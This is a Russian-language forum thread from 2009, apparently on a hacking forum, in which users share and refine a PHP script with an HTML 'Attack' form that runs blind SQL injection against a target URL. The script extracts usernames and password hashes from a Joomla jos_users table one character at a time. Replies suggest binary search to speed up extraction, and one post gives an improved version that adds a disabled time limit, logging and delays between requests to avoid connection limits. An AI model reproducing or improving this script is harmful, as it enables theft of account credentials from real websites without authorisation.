выполнение брута на HTML+PHP на удаленной машине

Тема в разделе "PHP", создана пользователем krobol, 3 янв 2009.

Статус темы:
Закрыта.
Модераторы: latteo
  1. krobol

    krobol

    Регистр.:
    6 июн 2008
    Сообщения:
    455
    Симпатии:
    126
    У меня есть программка с web-интерфейсом

    1 файл .html - страничка на которой запрашиваются параметры для передачи их в .php-страничку:

    HTML:
    <body>
    
    <form action="brute.php" method="post">
    Цель:<br /><input name="s" type="text" size="150" maxlength="150" /><br />
    <br /><input name="submit" type="submit" value="Атака" />
    </form>
    
    </body>
    
    php-страничка

    PHP:
    <?php

    ini_set
    ("max_execution_time",0);           // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    ini_set('user_agent''Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9');

    $s $_POST['s'];
    $ret_str="";

    for (
    $i=1;$i<100;$i++)
    {
        for (
    $j=42;$j<123;$j++)
        {
            
    $query "+and+ascii(substring((SELECT+concat(username,0x3a,password,0x3a)+from+jos_users+limit+0,1),$i,1))=$j";

            
    $res file_get_contents($s.$query);

            if (
    strlen($res) > что-то)
            {
                
    $ret_str=$ret_str.chr($j);
                break;
            }

        }
    }
    print 
    "$ret_str";
    ?>
    на PHP идёт перебор символов и запросы к web-серверу. Всё это происходит долго - 15-30 мин.

    Когда я запускаю это на своей машине с Денвером, то всё работает номально.
    Но если заливаю эти два файла на удаленный хост, то при запуске через какое-то время выдаётся ошибка:
    "HTTP-шлюз не отвечает (код ошибки: 504)"

    Что я делаю неправильно?
     
  2. Odnovremenno

    Odnovremenno Создатель

    Регистр.:
    8 авг 2008
    Сообщения:
    27
    Симпатии:
    23
    по идее ты просто досишь какой то из серваков
    проще делать как в эксплойтах - спуск по пополамам - тогда на каждый символ нужно всего 8 запросов (256 символов = два в восьмой)
    В смысле примерно следующее на каждую букву, вначале всего 256 кодов символов
    начало=1;
    конец=255;
    новая_середина:
    середина = (начало + конец)/2;

    if ascii(ботва)>середина {начало=середина; конец=конец;} //выбираем вторую половину отрезка

    иначе

    if ascii(ботва)<середина {начало=начало; конец=середина} //выбираем первую половину отрезка

    иначе
    ascii(ботва) = середина -> выход сюда
    jp новая_середина

    сюда:
    выродили букву!


    ну или что то вроде, поточнее проверять условия
     
    krobol нравится это.
  3. krobol

    krobol

    Регистр.:
    6 июн 2008
    Сообщения:
    455
    Симпатии:
    126
    по алгоритму я понял, спасибо!

    Но если прога долго выполняется, то по удалённому серверу всё равно остаётся вопрос.
    на своей машине у меня всё нормально, а на удалённой ошибка
     
  4. bumer3

    bumer3

    Регистр.:
    10 янв 2008
    Сообщения:
    291
    Симпатии:
    154
    может там ограничено время выполнения скрипта?
     
  5. krobol

    krobol

    Регистр.:
    6 июн 2008
    Сообщения:
    455
    Симпатии:
    126
    такое не на одном сервере

    если из unix-shell запускать: php script.php - то всё нормально, т.к. я сессию ssh не заканчиваю. А через броузер - отключается
     
  6. Lonely Wolf

    Lonely Wolf Прохожие

    Во-первых, добавь в начало скрипта:
    PHP:
    set_time_limit(0);
    ignore_user_abort(1);
    Во-вторых, пиши лог работы и результат в файл.
    В-третьих, 504 ошибка может быть как на твоём хосте за лимит исходящих соединений, так и на хосте на котором брутишь за лимит входящих соединений, попробуй поставить sleep(); между запросами.

    В итоге должно быть:
    PHP:
    <?php 
    set_time_limit
    (0);
    ignore_user_abort(1);
    ini_set("max_execution_time",0);           // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 
    ini_set('user_agent''Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9'); 

    $f fopen('logs.txt','w');
    fwrite($f,"[".date('d-m-Y H:i:s')."] - Start\n");
    fclose($f);
    $s $_POST['s']; 
    $ret_str=""

    for (
    $i=1;$i<100;$i++) 

        for (
    $j=42;$j<123;$j++) 
        { 
            
    $f fopen('logs.txt','w');
            
    fwrite($f,"[".date('d-m-Y H:i:s')."] - Send query i:".$i." j:".$j."\n");
            
    fclose($f);
    $query "+and+ascii(substring((SELECT+concat(username,0x3a,password,0x3a)+from+jos_users+limit+0,1),$i,1))=$j"

            
    $res file_get_contents($s.$query); 
            
    sleep(1);
            if (
    strlen($res) > что-то
            { 
                
    $ret_str=$ret_str.chr($j); 
                break; 
            } 

        } 
        
    sleep(5);
    }
    $f fopen('logs.txt','w');
    fwrite($f,"[".date('d-m-Y H:i:s')."] - End. Result:".$ret_str."\n");
    fclose($f);
    ?>
     
Статус темы:
Закрыта.